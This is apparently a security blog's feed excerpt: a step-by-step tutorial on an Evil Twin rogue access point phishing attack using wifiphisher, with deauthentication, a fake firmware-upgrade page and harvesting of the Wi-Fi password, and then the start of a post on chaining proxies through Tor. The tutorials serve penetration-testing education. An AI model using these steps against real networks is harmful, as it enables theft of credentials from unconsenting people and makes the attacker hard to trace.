<p><img src="https://media.giphy.com/media/v1.Y2lkPTc5MGI3NjExbGNqYmFhaTFkZWF1dXZ5bXg0a2RlNTY3a3puYzM0MmlyNWttb25ueSZlcD12MV9naWZzX3NlYXJjaCZjdD1n/AFAhsgKi7isH6/giphy.gif" alt class="image--center mx-auto" /></p>
]]></content:encoded></item><item><title><![CDATA[Evil Twin Rogue AP - Phishing Attack]]></title><description><![CDATA[Disclaimer: For Educational Purpose only
The article is for educational purpose. Use it on authorized network and devices only.

Who can follow along ( on authorized networks only ):

If you have a new PC that has new NIC with chipset that supports M...]]></description><link>https://blog.redteamers.in/evil-twin-rogue-ap-phishing-attack</link><guid isPermaLink="true">https://blog.redteamers.in/evil-twin-rogue-ap-phishing-attack</guid><category><![CDATA[phishing]]></category><category><![CDATA[hacking]]></category><category><![CDATA[networking]]></category><category><![CDATA[penetration testing]]></category><category><![CDATA[redteaming]]></category><dc:creator><![CDATA[Anand Darshan]]></dc:creator><pubDate>Wed, 14 Feb 2024 19:38:04 GMT</pubDate><enclosure url="https://cdn.hashnode.com/res/hashnode/image/upload/v1745596968542/cad92136-11c9-4e42-8a86-e6ae5e867c15.jpeg" length="0" type="image/jpeg"/><content:encoded><![CDATA[<h2 id="heading-disclaimer-for-educational-purpose-only">Disclaimer: For Educational Purpose only</h2>
<p>The article is for educational purpose. Use it on authorized network and devices only.</p>
<hr />
<h2 id="heading-who-can-follow-along-on-authorized-networks-only">Who can follow along ( on authorized networks only ):</h2>
<ul>
<li><p>If you have a new PC that has new NIC with chipset that supports Monitored mode ( 6 years or so old ) with Host OS or Dual Booted Kali Linux. ( If you don't know what Monitored mode is or NICs are then don't worry, I've covered them all in prerequisites section of the article )</p>
</li>
<li><p>If you have an old PC running Kali Linux as Host ( Dual Booted or as single OS ) but you've got an external USB WiFI adapter.</p>
</li>
<li><p>If you have Virtual Machine Kali and USB WiFi adapter configured in VM and showing as wlan ( wireless interface ) in the VM.</p>
</li>
</ul>
<p>If you can't follow along, no worries. You can still read through, I assure you'll learn a few new things here.</p>
<hr />
<h2 id="heading-required-softwaretools">Required Software/tools:</h2>
<hr />
<ul>
<li><p>A USB WiFi adapter that has chipset which supports Monitored mode is <mark>required if you're using a Virtual Machine</mark> or if your PC has old hardware (preferably dual band adapter - supports both 2.4GHz and 5GHz). I've used <a target="_blank" href="https://www.amazon.in/Long-Range-Dual-Band-Adapter-External-Antennas/dp/B08BJS8FXD">ALFA AWUS036ACM</a>.</p>
<p>  <img src="https://m.media-amazon.com/images/I/618FdNrUa0L._SL1500_.jpg" alt="Alpha adapter image" class="image--center mx-auto" /></p>
<ul>
<li><p>You can proceed <mark>without an external WiFi USB adapter</mark> only if you have a PC with new hardware ( PC that came within last 5 or so year, has newer NIC cards which supports Monitored Mode ) and running a host Kali Linux or Dual Booted Kali Linux, not as Virtual Machine.</p>
</li>
<li><p>You may continue to read the article but wouldn't be able to follow along if your PC doesn't have wireless connection support and if it only supports wired connection (Ethernet).</p>
</li>
</ul>
</li>
<li><p>Linux Distribution preferably Kali Linux ( Host OS or dual booted ).</p>
<ul>
<li><strong><mark>You can configure your VM on your own if you're using a Guest OS as Virtual Machine</mark></strong>: If you want to use Virtual Machine then you'll have to find a way to plug your USB adapter into the Oracle's Virtual Box or VMware Machine ( both will have a bit of difference in the way you connect the USB adapter in it ). Do the required and then proceed.</li>
</ul>
</li>
<li><p><a target="_blank" href="https://www.kali.org/tools/wifiphisher/">WifiPhisher</a> tool</p>
</li>
</ul>
<hr />
<h2 id="heading-prerequisites">Prerequisites:</h2>
<hr />
<p>You can skip the following section if you're already aware about concepts like Dual-Band adapters (2.4GHz, 5GHz), differences between Modem, Router, Access Point | Managed and Monitored mode in NIC | SSID, BSSID and ESSID.</p>
<p>Concepts/terms that'll make the upcoming tutorial more accessible:</p>
<h3 id="heading-24ghz-vs-5ghz-wifi-frequencies">2.4GHz vs 5GHz WiFi Frequencies:</h3>
<hr />
<blockquote>
<h4 id="heading-whats-24ghz-and-5ghz-what-is-this-dual-band-adapters"><strong>What's 2.4GHz and 5GHz? What is this Dual-band adapters?</strong></h4>
</blockquote>
<p>In WiFi Networks, 2.4GHz and 5GHz are two frequencies that the devices that has wireless capabilities use for communication in the network.</p>
<p>Almost all the devices nowadays use 2.4GHz including the older ones but 5GHz is relatively newer frequency band and isn't supported by all devices but the new ones only.</p>
<p>The devices that come with 5GHz typically supports 2.4GHz as well for backward compatibility.</p>
<blockquote>
<h4 id="heading-whats-the-difference-bw-these-two">What's the difference b/w these two?</h4>
</blockquote>
<p>Both has it's pros and cons. They work best only when a device supports both, why do I say so? Let's see:</p>
<ul>
<li><p><code>Bandwidth</code>: 2.4GHz has lower bandwidth supports meaning your download and upload speed is lower whereas 5GHz supports higher bandwidth.</p>
</li>
<li><p><code>Distance Range</code>: But 2.4GHz has longer range whereas 5GHz has a shorter distance signal range.</p>
</li>
<li><p><code>Interference</code>: 2.4 GHz and 5 GHz both frequency signals get affected by presence of an interference ( like walls etc ) but 5Ghz frequency signals drops highly in case of Interference in the way.</p>
</li>
</ul>
<p>So When a device supports both 2.4 and 5 GHz bands and the network the device wants to connect with does too, then:</p>
<ul>
<li><p>If the device connecting to the WiFi router ( or WiFi adapter ) is close-by then the bandwidth will be higher. This will provide good performance and speed.</p>
</li>
<li><p>If the device connecting to the router ( or WiFi adapter ) is farther then it will switch to 2.4GHz frequency band to connect with the same router ( or WiFi adapter ). This will prevent connection loss.</p>
</li>
</ul>
<h3 id="heading-wifi-modem-router-and-ap">WiFi, Modem, Router and AP:</h3>
<hr />
<p>Let's talk a bit about what is a modem, router, Access Point and WiFi as well. More importantly though, we'll look at the end, where they are placed in a network.</p>
<p><code>WiFi</code> - is a technology that enables devices to connect to network/devices wireless without any physical connection to a network.</p>
<p><code>Modem</code> - converts digital signals coming from your computers to analog, sending it to internet and vice-versa.</p>
<p><code>Router</code> - A device that enables wireless devices ( like mobile phones, laptop ) and wired devices ( that uses ethernet ) to join together in a LAN. It broadcasts 2.4GHz and 5GHz signals ( if it's a dual band WiFi router ) so that the wireless devices can join in the LAN and the wired devices will use the Ethernet to directly connect to it and be a part of that LAN.</p>
<p>Routers has an inbuilt Firewall and also uses DHCP which provides free available IP address in the network to the devices that connect to it.</p>
<p><code>Wireless Access Point ( AP )</code> - A Wireless Access Point is a device that looks similar to the router but works just like a Wireless extension. Let me explain..</p>
<ul>
<li><p>Let's say you have a WiFi router in your office placed on the 2nd floor, the office being a four floors premise.</p>
</li>
<li><p>The signal on the floor where the router is placed, is good but the other three floor especially the fourth floor's wireless devices can't connect to this router ( even if we were to take Ethernet cable connected to the router from the 2nd floor to the 4th one, the devices are wireless so they can't connect to it).</p>
</li>
<li><p>So here we'll take the Ethernet cable from router and connect it with an Access Point. This access point will now emit the same signals as the router and let the wireless devices from the fourth floor connect to it, hence connecting to the router.</p>
</li>
<li><p>It basically works as the signal amplifier ( repeater ) for wireless devices.</p>
</li>
</ul>
<p>So in series, Modem is the device that's part of Service Provider Network which connect through to the internet, after which a router comes, to which is connected an Access Point ( if required ).</p>
<p>Internet -&gt; ( Internet Service Provider-&gt;Modem ) -&gt; Router -&gt; Access Point (optional)</p>
<p><img src="https://cdn.hashnode.com/res/hashnode/image/upload/v1707739564386/511f76ff-c383-4130-a81d-61cfc0ad5292.png" alt class="image--center mx-auto" /></p>
<blockquote>
<p><code>Image-source: lazyadmin</code></p>
</blockquote>
<h3 id="heading-note">Note:</h3>
<p>Even though Modems are still widely used. Nowadays they are going out of commission as these days FTTP ( Fiber To The Premises ), fiber optic cables are used to deliver internet connectivity to the user's home/premises. These don't require Modem in place, instead require an ONT - Optical Network Terminal which converts optical signals into digital and vice-versa.</p>
<p>Sometimes, ISPs provide Direct Ethernet Connection to the user's home, in that case also, the Modem is absent.</p>
<blockquote>
<h3 id="heading-wireless-nics-managed-vs-monitored-mode">Wireless NIC's <em>Managed</em> vs <em>Monitored</em> Mode:</h3>
</blockquote>
<hr />
<p>In Wireless networking i.e., where the WiFi is in use, you'll come across these two terms way too often especially if you're a security professional tasked to do Network audit or assessment. So Let's understand them briefly.</p>
<p>Network Interface Card ( NIC ) is hardware ( typically builtin to your computer ) that enables it to connect to a network.</p>
<p>Wireless NICs only operate using wireless technologies like WiFi.</p>
<p>These are two modes that a wireless NIC ( with WiFi support ) operates with that you should be aware of, for the article:</p>
<blockquote>
<h4 id="heading-managed-mode">Managed Mode:</h4>
</blockquote>
<ul>
<li><h4 id="heading-it-is-the-default-operating-mode-of-nics">It is the default operating mode of NICs.</h4>
</li>
<li><p>In Managed mode, the NIC or adapter (NICs are builtin in adapters) acts as a client device which tries to connect with an Access Point or a WiFi router.</p>
</li>
<li><p>In this mode, It only captures the packet that is meant for it ( which includes it's MAC address in the destination header ).</p>
</li>
</ul>
<blockquote>
<h4 id="heading-monitored-mode">Monitored Mode:</h4>
</blockquote>
<ul>
<li><p>Also called as Promiscuous or RFMON ( Radio Frequency Monitoring ) Mode.</p>
</li>
<li><p>In Monitored Mode, the NIC or adapter listens to all and set to capture all the wireless traffic around it.</p>
</li>
<li><p>It doesn't matter if the device is a part of the network or not, it will listen to all the WiFi signals around it regardless.</p>
</li>
</ul>
<p>Run the following command:</p>
<pre><code class="lang-bash">iwconfig
</code></pre>
<ul>
<li>This command will list wireless interfaces plugged or builtin to your PC and the network info that it is connected to.</li>
</ul>
<p><img src="https://cdn.hashnode.com/res/hashnode/image/upload/v1707796715949/02e54296-e155-46a8-ba6e-7137b83dd7c8.png" alt class="image--center mx-auto" /></p>
<ul>
<li><p>There's one Wireless Local Area Network ( WLAN ) connection that I'm part of, appearing as Interface "wlan0" in my system.</p>
</li>
<li><p>The Network that I'm connect to is named as "<strong>Tattakeanand_</strong>". <code>We'll talk about the ESSID thing later, don't worry about it at the moment.</code></p>
</li>
<li><p>The Mode that's it's operating with at the moment is <strong><em>Managed</em></strong> Mode.</p>
</li>
<li><p>The Frequency band that the NIC ( of whatever I'm connected to, could be WiFi adapter or a mobile device hotspot etc ) is operating with is 5GHz.</p>
<ul>
<li><p>For your reference I've included my device's preferred frequency band that its operating with:</p>
<p>  <img src="https://cdn.hashnode.com/res/hashnode/image/upload/v1707808592245/d3fd134e-c5f1-4f55-90a2-3f4b27e216f3.png" alt class="image--center mx-auto" /></p>
</li>
</ul>
</li>
<li><p>The Access Point's MAC address ( the router's or mobile hotspot's MAC address that you're connecting with )</p>
</li>
</ul>
<p>Now I just plugged in my ALFA adapter but haven't yet connected it to any network. It started showing as an interface named "<strong>wlan1</strong>" as you can see.</p>
<p><img src="https://cdn.hashnode.com/res/hashnode/image/upload/v1707796653168/00a68acc-3a6e-49ad-8c49-6f3b2328fcf0.png" alt class="image--center mx-auto" /></p>
<ul>
<li><p>But it doesn't show any ESSID ( network name ) or Access Point because as mentioned, we're still not connected to any network.</p>
</li>
<li><p>After connecting it to another network (5GHz band network):</p>
</li>
</ul>
<p><img src="https://cdn.hashnode.com/res/hashnode/image/upload/v1707808273304/af309c54-2f2e-4759-88ed-02fbd2f8b268.png" alt class="image--center mx-auto" /></p>
<p>The attack will not require you to do anything, but the tool ( wifiPhisher ) will do everything but still I've discussed it so that you understand how the tool's actually working.</p>
<blockquote>
<h3 id="heading-ssid-vs-bssid-vs-essid">SSID vs BSSID vs ESSID</h3>
</blockquote>
<hr />
<p><img src="https://cdn.hashnode.com/res/hashnode/image/upload/v1707799785712/e191d704-1e10-41d0-b805-e1aceb771d0e.png" alt class="image--center mx-auto" /></p>
<p>Sure you'd have seen this before many times when you turn your mobile's or Computer's WiFi on.</p>
<blockquote>
<h4 id="heading-ssid">SSID</h4>
</blockquote>
<ul>
<li><p>Network names in the image above, these are what we call SSID ( network name ), stands for <strong>Service Set Identifier</strong>.</p>
</li>
<li><p>SSIDs are typically human readable network names that we use to identify the network we want to connect with.</p>
</li>
<li><p>Example: "Tattakeanand_"</p>
</li>
</ul>
<blockquote>
<h4 id="heading-essid">ESSID</h4>
</blockquote>
<ul>
<li><p>But wait SSID listed in your WiFi can be an ESSID ( Extended Service Set Identifier ) too, how? Let's see..</p>
</li>
<li><p>Let's say that you're trying to connect to a network in a medium to large office or house area.</p>
<ul>
<li><p>In such places there would be a Wireless Access Point (AP) in place connected with Ethernet wire to the main WiFi Router ( recall the Access Point part discussed previously in the prerequisites ), to extend the network range so that farther WiFi devices can connect to the same router using that AP.</p>
</li>
<li><p>This AP will have the same network name "Tattakeanand_" as we're connecting to the same network ( the Router ), but we now call it an ESSID not SSID.</p>
</li>
<li><p>As we've <code>extended</code> the network by adding an AP and the SSID that shows in the farther part of building ( medium to large office or home ) is being broadcast by the AP and not router.</p>
</li>
<li><p>As the broadcast of SSID ( network name ) is being done by an Extension i.e., the AP, the SSID will now be called as ESSID ( <code>Extended SSID</code> ).</p>
</li>
</ul>
</li>
</ul>
<p>Note: SSID and ESSID are often used interchangeable.</p>
<p>Run <code>iwconfig</code> command again:</p>
<p><img src="https://cdn.hashnode.com/res/hashnode/image/upload/v1707801668737/673cc7c3-d387-4cf2-9f46-3a123ddf99b6.png" alt class="image--center mx-auto" /></p>
<ul>
<li><strong>ESSID: "Tattaeanand_"</strong>, do you understand this now? I hope you do.</li>
</ul>
<blockquote>
<h4 id="heading-bssid">BSSID</h4>
</blockquote>
<ul>
<li><p>stands for Basic Service Set Identifier.</p>
</li>
<li><p>Even though you see the network names as human readable when you turn on your WiFi, the computers can't use that.</p>
</li>
<li><p>They use the BSSID, which is actually the <strong><em>MAC address</em></strong> of the network AP that's broadcasting its network name to any WiFI device around.</p>
</li>
</ul>
<h4 id="heading-rogue-access-point-ap">Rogue Access Point ( AP ):</h4>
<ul>
<li><p>Rogue AP is an access point that is introduced in a network without any authorization by the network owner or the network admins.</p>
</li>
<li><p>We'll be spawning one Rogue AP in the upcoming attack demonstration with the help of WifiPhisher tool using on the wireless interface.</p>
</li>
</ul>
<p>Not going to lie, that was a lot for prerequisites. Anyways the following attack itself will be shorter as you already know quite a lot and now I won't have to explain everything thoroughly.</p>
<hr />
<p>Let's debrief here a bit if you read through all of the Prerequisites section. If needed, read through it all in a dash one more time.</p>
<div data-node-type="callout">
<div data-node-type="callout-emoji">❤</div>
<div data-node-type="callout-text">A sincere thanks if you've read this so far! Now the fun begins.</div>
</div>

<hr />
<h1 id="heading-lets-start-the-attack">Let's start the Attack</h1>
<hr />
<p><img src="https://media.giphy.com/media/v1.Y2lkPTc5MGI3NjExM2loM3dnbmx4dnh2NGhranA3eG53MGE3aWh1dTQzMW5uZ2Q3bnJ0ciZlcD12MV9naWZzX3NlYXJjaCZjdD1n/FhetAqlqDfPcBC1UpA/giphy.gif" alt class="image--center mx-auto" /></p>
<blockquote>
<p><code>Note for Virtual Machine Users</code>: Again I will mention it one more time as I did in the beginning, I'm using Kali as Host OS and this article sees things with that POV only. If you're using Virtual Machine, the attack part would be the same but before that you'll have to configure your VM so that the USB WiFI adapter shows as wlan0 or wlan1 ( wireless interface ) inside your virtual box. A lot of times, Virtual Machines by default take your interface connection's as ethernet ( wired ) even when you're using wireless.</p>
</blockquote>
<p>I'm assuming now that you've satisfied all the requirements and are aware about the concepts discussed in Prerequisites section.</p>
<h3 id="heading-attackers-pov-wifiphisher">Attacker's POV - WifiPhisher</h3>
<hr />
<p>Our attack is heavily going to be based on wifiphisher tool.</p>
<p>Starting with first command:</p>
<blockquote>
<p>Check for what wireless interfaces are available:</p>
</blockquote>
<p><img src="https://cdn.hashnode.com/res/hashnode/image/upload/v1707925209983/c51d73de-e009-45c3-9bb3-51630818ff31.png" alt /></p>
<ul>
<li><p>we have two; wlan0 (builtin) and wlan1 (external USB WiFI adapter) both connected to same network "Tattakeanand_".</p>
<blockquote>
<p>Note down the SSID of the one network that we're authorized to do the attack on:</p>
</blockquote>
<ul>
<li>Warning: Select the network that you own and have authorization to conduct such attacks on.</li>
</ul>
</li>
</ul>
<p><img src="https://cdn.hashnode.com/res/hashnode/image/upload/v1707929458151/df70dd08-6347-40c7-bf15-36f23afb1ade.png" alt class="image--center mx-auto" /></p>
<ul>
<li>For the demonstration, the network selected is "<strong>Tattakeanand_</strong>".</li>
</ul>
<p>Note: before proceeding further from here, you should save and close everything if you've any application running or etc.</p>
<blockquote>
<p>Next we'll use wifiphisher on one of the wireless interfaces ( wlan0 ), with the target network SSID ( Tattakenanad_ ) :</p>
</blockquote>
<pre><code class="lang-bash">sudo wifiphisher -i wlan0 -e <span class="hljs-string">"Tattkeanand_"</span>
</code></pre>
<ul>
<li><p><strong>"-i"</strong> for interface</p>
</li>
<li><p><strong>"-e"</strong> for target ESSID. This will be the ESSID that'll be used for deploying a rogue Acess Point ( AP ) on the interface that we've selected.</p>
</li>
</ul>
<p><img src="https://cdn.hashnode.com/res/hashnode/image/upload/v1707929706938/f6bb13b7-8c60-4251-9839-46ce4c3a465f.png" alt class="image--center mx-auto" /></p>
<p>You can explore all the other options in this tool using the following command but this is enough for our attack:</p>
<pre><code class="lang-bash">wifiphisher -h
</code></pre>
<blockquote>
<p>Everything next will be selection based only, you'll not be needing to run any command.</p>
</blockquote>
<p><img src="https://cdn.hashnode.com/res/hashnode/image/upload/v1707930078508/e154b935-f9e8-4fa7-9496-3804ec275dc3.png" alt class="image--center mx-auto" /></p>
<ul>
<li>As soon as you run the command, you'll see somethings quickly pass-by and then be prompted to choose from 4 options:</li>
</ul>
<p><img src="https://cdn.hashnode.com/res/hashnode/image/upload/v1707931328266/9db37b99-a376-4c70-a931-757f9c0dbb74.png" alt class="image--center mx-auto" /></p>
<p>You can try each one out later but for the time we'll go with Firmware Upgrade Page.</p>
<p>But before we proceed further, let's see the screen that quickly passed by your screen before this window appeared:</p>
<p><img src="https://cdn.hashnode.com/res/hashnode/image/upload/v1707931432686/b192a1ff-2f6d-4346-8943-f3be88064302.png" alt class="image--center mx-auto" /></p>
<ul>
<li><p>First the wifiphisher creates a "<strong>wfphshr-wlan0"</strong> interface for de-authenticating the user if its connected to the "Tattakeanand_" network by sending the deAuth probes by trying to appear as legit Tattakeanand_ AP.</p>
<ul>
<li>A lot of times you'll see this fail in de-authenticating the device. No worries our attack will very well be effective enough.</li>
</ul>
</li>
<li><p>wlan0 is the interface that's being used to deploy a Rogue Access Point.</p>
</li>
<li><p>Then it changes the BSSID ( i.e., the MAC address ) of the AP.</p>
</li>
<li><p>Then it also starts a DHCP server so when a device connects to it, it assigns an available IP from the IP table to it.</p>
</li>
</ul>
<p>A proper setup is ready.</p>
<p>Now let's come back to the "<strong>Firmware upgrade Page</strong>" option.</p>
<blockquote>
<p>Select the option, again you'll see something quickly pass through your screen and then the following window appear on your screen:</p>
</blockquote>
<p><img src="https://cdn.hashnode.com/res/hashnode/image/upload/v1707932335307/ce2f88c1-123d-4be6-a488-1e28d874fa5b.png" alt class="image--center mx-auto" /></p>
<ul>
<li>Keep an eye on the right three columns.</li>
</ul>
<p>Let's again look at the "Something" that passed through the screen:</p>
<p><img src="https://cdn.hashnode.com/res/hashnode/image/upload/v1707932642183/9866e1bd-7649-4dd1-90cd-9e5926848d0e.png" alt class="image--center mx-auto" /></p>
<ul>
<li><p>It says it selected Firmware upgrade Page ( which we choose ), then started the fake access point ( AP ) and then hosted a HTTP/HTTPS server at port 8080 and 443.</p>
</li>
<li><p>Great, you'll see how this web server will come in play for Phishing and harvesting the victim's credential.</p>
</li>
</ul>
<p>Coming back to the window that we were at:</p>
<p><img src="https://cdn.hashnode.com/res/hashnode/image/upload/v1707932335307/ce2f88c1-123d-4be6-a488-1e28d874fa5b.png" alt /></p>
<ul>
<li>As mentioned keep an eye on left especially on HTTP requests when trying to connect the victim ( victim is supposed to be your own device or a device that you're authorized to test this on ).</li>
</ul>
<h3 id="heading-victims-pov">Victim's POV:</h3>
<hr />
<p>Now let's see what the victim sees.</p>
<p><img src="https://cdn.hashnode.com/res/hashnode/image/upload/v1707933794660/c85313f9-1af4-4d33-96c4-8b89df0c755b.png" alt class="image--center mx-auto" /></p>
<ul>
<li>When Victim turns on the WiFi it sees two network with same SSID Tattakeanand_ appear on its screen.</li>
</ul>
<p>Now as soon as the Victim's screen shows the Rogue AP, it gets reflected on attacker side at Extensions feed:</p>
<p><img src="https://cdn.hashnode.com/res/hashnode/image/upload/v1707935650462/858d0167-8731-4949-9885-9935a9cfa9d4.png" alt class="image--center mx-auto" /></p>
<ul>
<li>It says that the Victim with MAC address has received ( probed ) Evil Twin AP's ESSID. Makes sense, right?</li>
</ul>
<p>Assuming that the victim would go ahead and click on the first one ( chooses to go with one of the two random SSID appearing on the screen ) then it would be served with the Firmware update page using the HTTP/HTTPS server deployed on 8080 and 443 respectively.</p>
<p>Note: You'll see sometimes that 2 SSIDs aren't appearing which means either you're out of range or something similar has happened.</p>
<ul>
<li>Now I ( as victim ) went ahead and clicked on the Rogue AP's SSID which will lead me to the firmware upgrade page:</li>
</ul>
<p><img src="https://cdn.hashnode.com/res/hashnode/image/upload/v1707936971817/5a205196-f4f0-41ae-9f04-788331a428ba.png" alt class="image--center mx-auto" /></p>
<ul>
<li>This looks more than legit to me and hence so it will to the victim. But look at the domain name ( connectivitycheck.gstatic.com ). That doesn't make much sense, but victim will often ( more than often actually ) overlook that and proceed anyways.</li>
</ul>
<p>While this page is opened on Victim's screen, this too get's reflected on attacker's screen:</p>
<p><img src="https://cdn.hashnode.com/res/hashnode/image/upload/v1707935453669/06420e15-282d-4f49-b9f6-46ecdc6a1e34.png" alt class="image--center mx-auto" /></p>
<ul>
<li>It says the device with IP 10.0.0.25 is making GET request for the given url page, which we saw on victim's screen.</li>
</ul>
<p>Assuming that the I (victim) checked on I Agree .... then typed the password and clicked on start upgrade. We'll now come back at the Attacker's screen.</p>
<h3 id="heading-returning-to-attackers-pov">Returning to Attacker's POV:</h3>
<hr />
<p>As soon as the victim click's on start upgrade, the attacker's screen will see a POST request made:</p>
<p><img src="https://cdn.hashnode.com/res/hashnode/image/upload/v1707935846625/1a2c60aa-d883-4fae-8a60-b87f1f627845.png" alt class="image--center mx-auto" /></p>
<ul>
<li>This POST request will have the Victim's password captured.</li>
</ul>
<p>We successfully harvested the Victim's password. YEAH!!</p>
<p>Stop the Rogue AP, HTTP/HTTPS server and the entire attack by pressing CTRL + C:</p>
<p><img src="https://cdn.hashnode.com/res/hashnode/image/upload/v1707936028989/a1a67fcd-7190-4cf0-ac88-2893b8e609bf.png" alt class="image--center mx-auto" /></p>
<ul>
<li>All the passwords captured will be displayed at the end when you stop the attack.</li>
</ul>
<p>"ThisIsMyPassword" is what I entered when filling the Firmware Upgrade key and that's what it is showing.</p>
<p>So yeah we did it!</p>
<hr />
<h2 id="heading-concluding">Concluding:</h2>
<hr />
<ul>
<li>You should try other options on your own especially the OAuth one which presents the victim with a facebook login page.</li>
</ul>
<p>You can expand on it and do more fun on your own with this but be warned that this is supposed to be conducted on authorized devices and networks only.</p>
<p>That's a wrap.</p>
<div data-node-type="callout">
<div data-node-type="callout-emoji">👋</div>
<div data-node-type="callout-text">I'm RTB now. BYE!</div>
</div>

<p><img src="https://media.giphy.com/media/VahnFIsX6gpxu/giphy.gif?cid=790b7611jdhn2h95i8pbeec30t4gsvvsw4o6xevna5ic71cz&amp;ep=v1_gifs_search&amp;rid=giphy.gif&amp;ct=g" alt class="image--center mx-auto" /></p>
]]></content:encoded></item><item><title><![CDATA[Setting Up Proxy Chain with TOR]]></title><description><![CDATA[Note: I'm expecting you to have a Linux OS for this setup. I'm using Kali Linux.
Brief on Proxy, Proxy Chain and TOR;

Proxy:
Simply put, it's the node that presents your request but using it's own details like IP address. This makes the source of re...]]></description><link>https://blog.redteamers.in/proxy-chain-with-tor</link><guid isPermaLink="true">https://blog.redteamers.in/proxy-chain-with-tor</guid><category><![CDATA[anonymity]]></category><category><![CDATA[ethicalhacking]]></category><category><![CDATA[pentesting]]></category><category><![CDATA[proxy]]></category><category><![CDATA[tor]]></category><dc:creator><![CDATA[Anand Darshan]]></dc:creator><pubDate>Sun, 28 Jan 2024 13:01:41 GMT</pubDate><enclosure url="https://cdn.hashnode.com/res/hashnode/image/upload/v1745598643997/5979b3f0-cf42-425f-be9b-078cda10b8b6.jpeg" length="0" type="image/jpeg"/><content:encoded><![CDATA[<p>Note: I'm expecting you to have a Linux OS for this setup. I'm using Kali Linux.</p>
<h1 id="heading-brief-on-proxy-proxy-chain-and-tor">Brief on Proxy, Proxy Chain and TOR;</h1>
<hr />
<h3 id="heading-proxy">Proxy:</h3>
<p>Simply put, it's the node that presents your request but using it's own details like IP address. This makes the source of request tracking just a bit lengthy. But as we're just using a single proxy, going back one step can make the request source known.</p>
<h3 id="heading-proxy-chain">Proxy-Chain:</h3>
<p>Let's make it difficult and more lengthy then, let's chain multiple proxies together, each one forwarding our request to the next one until the last proxy server is reached when then will forward the request to the destination server.<br />This just made the request source origin tractability a whole lot more difficult.</p>
<ul>
<li>Each proxy in the chain only knows about the previous and next proxies, not the original source of the traffic.</li>
</ul>
<h3 id="heading-tor-the-onion-router">TOR ( The Onion Router ):</h3>
<p>TOR is a network of volunteered nodes, traffic going through this network is encrypted. So if we put this in with Proxy-chain what will happen? It will make it even more difficult trace request source ( lets say us ) as our traffic is not only hoping through multiple proxies but also adding TOR in this making the traffic encrypted.</p>
<p>Dope shit right?</p>
<ul>
<li>By using Tor as one of the proxies, your internet traffic gets encrypted and routed through the Tor network, making it difficult for anyone to trace the origin of the communication.</li>
</ul>
<hr />
<h1 id="heading-setting-up-proxy-chain">Setting Up Proxy Chain;</h1>
<hr />
<p>In case you are using another Linux variant then you can just install it using your respective pkg manager.</p>
<p>In Debian based system, like Ubuntu, Kali Linux, Parrot OS, etc you can simply run <code>sudo apt install proxychains</code>. It should install proxychains which you will be able to access through /etc directory as discussed later.</p>
<p>I’m assuming you are using Kali Linux here.</p>
<p><img src="https://cdn.hashnode.com/res/hashnode/image/upload/v1697818350184/a5d118b0-5335-488d-9874-5e417d936c6f.png" alt class="image--center mx-auto" /></p>
<p>If your Proxy Chain file is not there in /etc directory, then you can use the locate command to find it:</p>
<pre><code class="lang-bash">locate proxychain4.conf
</code></pre>
<p><img src="https://cdn.hashnode.com/res/hashnode/image/upload/v1697824957729/66f08d46-8d11-4162-8a87-05106df9c566.png" alt class="image--center mx-auto" /></p>
<p>To edit your proxy chain configuration file:</p>
<pre><code class="lang-bash">sudo nano /etc/proxychains4.conf
</code></pre>
<p>Now that you have the proxy chain configuration file opened in the editor, you'll notice that there are 4 different modes ( each mode or type with its different way of connecting ) that we can configure our proxy chain to use:</p>
<p><img src="https://cdn.hashnode.com/res/hashnode/image/upload/v1697819097938/ad838611-5a30-42de-99a1-1dafa2dcc4e1.png" alt class="image--center mx-auto" /></p>
<ul>
<li><p>To use other proxy-chain modes ( type ), simply comment the active one and un-commnet the one that you want to use ( add or remove the # sign at the beginning of the line ).</p>
</li>
<li><p>I changed mine to <code>dynamic_chain</code> as it doesn't mandate that all proxies must be online unlike <code>strict_chain.</code></p>
<ul>
<li><p>This is important because if one of the proxies is down in the strict_chain then you won't be able to send traffic using this proxy-chain.</p>
</li>
<li><p>So you have to change it to either dynamic or round-robin as both of these skip the proxy that isn't online in the chain.</p>
</li>
</ul>
</li>
</ul>
<p><img src="https://cdn.hashnode.com/res/hashnode/image/upload/v1697824092699/ad6281a6-40a0-4f56-875e-147a5fb23200.png" alt class="image--center mx-auto" /></p>
<ul>
<li>An explanation for each mode is there in the file itself, so read it through if you want to know how these modes are different from each other.</li>
</ul>
<p>Now as we'll be using the proxy chain with TOR, it really doesn't matter which type of proxy chain we choose.</p>
<ul>
<li><p>Also, make sure that the <code>proxy_dns</code> is un-commented in the configuration file.</p>
</li>
<li><p>This <code>proxy_dns</code> option when set to <code>on</code>, it means that DNS requests made by applications using ProxyChains will also be routed through the proxy servers in your chain.</p>
</li>
<li><p>This can help enhance our anonymity and privacy because it ensures that DNS queries don't bypass the proxy and reveal our real IP address to the DNS server.</p>
</li>
</ul>
<p>There are other options for proxy_dns like proxy_dns_old and proxy_dns_daemon, you can explore them on your own if it interests you, as I'm trying to keep this article short and straight to the point.</p>
<p>Now if you scroll down to the conf file, you'll see [ProxyList], which is where we add our proxies.</p>
<ul>
<li><p>Also, you'll notice here that it is already set to use tor ( by default )</p>
</li>
<li><p>And you'll see socks4 your proxy server that running on localhost at 9050:</p>
</li>
</ul>
<p><img src="https://cdn.hashnode.com/res/hashnode/image/upload/v1697821027906/5226e32a-a14a-4110-bdb1-961f16c4b6c4.png" alt class="image--center mx-auto" /></p>
<ul>
<li>It doesn't really matter much so you can skip adding this entry, <strong>socks5 it's optional</strong> .Add another entry with the same IP and port with with socks5 protocol.</li>
</ul>
<hr />
<h3 id="heading-optional-but-important"><strong>Optional ( but Important ):</strong></h3>
<blockquote>
<p>Note: You can provide entry for free public proxy servers as well here instead of using your own system ( 127.0.0.1 means localhost, making your own system as part of the chain )</p>
</blockquote>
<ul>
<li><p>you can get the list of free public proxy server list on Github or a trusted site.</p>
</li>
<li><p>Here's two that I found: <a target="_blank" href="https://www.proxynova.com/proxy-server-list/">link</a> to external site or <a target="_blank" href="https://github.com/TheSpeedX/PROXY-List/blob/master/http.txt">Github link</a></p>
</li>
</ul>
<p>Anyways before proceeding make sure you check each server from the list for the server that you want to use has a decent speed ( less ping ), preferably high anonymity and also availability ( Uptime ), you're not choosing to use dynamic-chain or similar chain that skips dead or non-responsive proxies as it might make your request response retrieval way too time consuming, might not even . Example:</p>
<p><img src="https://cdn.hashnode.com/res/hashnode/image/upload/v1706446071904/5b8d54b9-aabf-4992-bc94-3dad4fb8bc6a.png" alt class="image--center mx-auto" /></p>
<ul>
